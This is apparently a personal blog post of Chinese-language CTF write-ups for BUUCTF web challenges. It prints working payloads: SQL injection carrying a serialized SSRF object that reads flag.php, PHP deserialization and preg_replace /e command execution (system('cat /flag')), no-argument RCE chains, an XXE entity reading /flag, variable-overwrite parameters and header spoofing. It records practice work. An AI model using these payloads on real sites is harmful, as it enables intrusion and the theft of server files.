Buu刷题

[网鼎杯 2018]Fakebook

注册个用户后,点开发现url,no=1尝试报错,成功报错,于是SQL注入

本来想着读username、passwd去登陆,但没什么用,读data发现反序列化数据

。。。然后就不会了

看WP,robots.txt有提示,下载源码,虽然有isValidBlog,但其实没什么用

直接序列化ssrf的数据

然后union all select 1,2,3,4,放入第四个位置(对应blog,能够反序列化的地方)

?no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

[网鼎杯 2020 朱雀组]phpweb

放入burp中,等一会就会截取到

发现两个参数,修改func,会发现回调函数报错,尝试system,报错hacker

func=readfile&p=index。php

读取index.php,发现禁用的函数名,并且有

class Test {
     var $p = "Y-m-d h:i:s a";
     var $func = "date";
     function __destruct() {
         if ($this->func != "") {
             echo gettime($this->func, $this->p);
         }
     }
 }
 $func = $_REQUEST["func"];
 $p = $_REQUEST["p"];

 if ($func != null) {
     $func = strtolower($func);
     if (!in_array($func,$disable_fun)) {
         echo gettime($func, $p);
     }else {
         die("Hacker...");
     }
 }
 ?>

然后不会了,。。。。。

看WP,使用unserialize(),并自行构造发序列化数据

class Test {
     var $p = "ls";
     var $func = "system";
     function __destruct() {
         if ($this->func != "") {
             echo gettime($this->func, $this->p);
         }
 }
 $a = new Test();
 echo serialize($a);

但找不到flag

构造find / -name flag

找到flag,然后读取即可

[BSidesCF 2020]Had a bad day

点开按钮,查看url,可能存在任意文件读取,尝试index.php,不行,加个php://filter过滤器

成功读取,关键代码include($_GET[’category‘].'php')

只有三个文件可利用,于是想到filterchain

image-20230908114051163

[BJDCTF2020]ZJCTF,不过如此

先data://伪协议满足判断,然后读取next.php,回显输入的内容,感觉不对,加个php://filter伪协议,成功读取,

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
	@eval($_GET['cmd']);
}

一眼preg_replace的/e,存在漏洞,strtolower("\\1")的意思自行查找

要在next.php下加参数

/next.php?\S*={${getFlag()}}&cmd=system('cat%20/flag');

[GXYCTF2019]禁止套娃

一看就要套娃

进去找不到文件。。。。。

小看一眼WP,.git泄露

代码审计一看就是无参数RCE

列目录

var_dump(scandir(current(localeconv())));

flag.php在倒数第二个

highlight_file(next(array_reverse(scandir(current(localeconv())))));

[NCTF2019]Fake XML cookbook

登陆界面抓包,很明显,直接XXE

尝试直接读取/flag,成功

<?xml version="1.0"?>
<!DOCTYPE TEST [
<!ENTITY xxe SYSTEM "/flag">]>
<user><username>&xxe;</username><password>1</password></user>

[BJDCTF2020]Mark loves cat

遇到这种题就头大,但是这考的比较简单

是一个网页,点什么都没用,在最后面发现输出了dog,感觉有点问题,但是找不到文件

小看一眼wp,又是.git泄露,但好像说不稳定,要多试几次

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){    
    $$x = $y  ;  //post 声明至当前文件
}
foreach($_GET as $x => $y){    
    $$x = $$y;  //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  //传入的变量为flag   value不是flag
        exit($handsome);
    }
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){  
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   
    exit($is);
}
echo "the flag is: ".$flag;

明显的变量覆盖,想着能不能到最后echo输出,但发现好像不行,只好利用exit

有三种方法(网上直接抄了)

?yds=flag  

?is=flag&flag=flag

?handsome=flag&flag=x&x=flag

[BJDCTF2020]Cookie is so stable

hint提示看cookie

flag.php 输出什么回显什么,猜测ssti

查看后端是php

经过尝试后是twig(自己sbb的存的payload忘记怎么用了,看了wp才反应过来)

然后成功命令执行

但是发现回显只有一个,就当我困惑时,尝试了cat /etc/passwdnginx,而我们的用户是www-data ,所以知道只是输出受限制了

但我思路仍然受阻,看了眼WP,cat /flag 。。。。。。。。。。。。

[安洵杯 2019]easy_web

看url,有img和cmd,cmd禁用很多,从img入手,把编码拿到cyberchef,直接还原(看别人也有解不出来这个的)

我在编码时也被坑了一下,base64换了一个符号,hex要调为None

然后自然猜测flag.php(然后跳转,没什么用),也试过其他后缀,都是跳转同一个地方,大概猜出有个正则匹配

其实没有东西读的时候,就读index.php,(因为看是图片,我sbb的构造index.png……….)

然后读出源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

(string)$POST[‘a’] !== (string)$POST[‘b’] && md5($POST[‘a’]) === md5($POST[‘b’])

猜的八九不离十,关键是

else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

我把数组和MD5碰撞都试了,发现没用。。。。

看了wp,没错啊是md5碰撞,重新开网页测试,成功了。。。。。。。。。。。

BUU BURP COURSE 1

只允许本地访问

考察HTTP请求头

X-Forwarded-For Client-Ip X-Real-IP

这里要使用X-Real-IP

,然后是个登录框,使用post请求带上参数即可

X-Forwarded-For与X-Real-IP区别

X-Forwarded-For能记录完整的多级代理

X-Real-IP只有一个值

所以 ,如果只有一层代理,这两个头的值就是一样的

多级代理很少见,只有一级代理的情况下二者是等效的

如果有多级代理,x-forwarded-for效果是大于x-real-ip的,可以记录完整的代理链路


来自`4.4.4.4`的一个请求,header包含这样一行

X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
      
代表 请求由`1.1.1.1`发出,经过三层代理,第一层是`2.2.2.2`,第二层是`3.3.3.3`,而本次请求的来源IP`4.4.4.4`是第三层代理

而`X-Real-IP`,没有相关标准,上面的例子,如果配置了`X-Read-IP`,可能会有两种情况

// 最后一跳是正向代理,可能会保留真实客户端IP

X-Real-IP: 1.1.1.1

// 最后一跳是反向代理,比如Nginx,一般会是与之直接连接的客户端IP X-Real-IP: 3.3.3.3
    
如果用户访问你的 nginx反向代理之前,还经过了一层正向代理,你即使在nginx中配置了x-real-ip,取到的也只是正向代理的IP而不是客户端真实IP

Buu刷题
https://zer0peach.github.io/2023/09/08/Buu刷题/
作者
Zer0peach
发布于
2023年9月8日
许可协议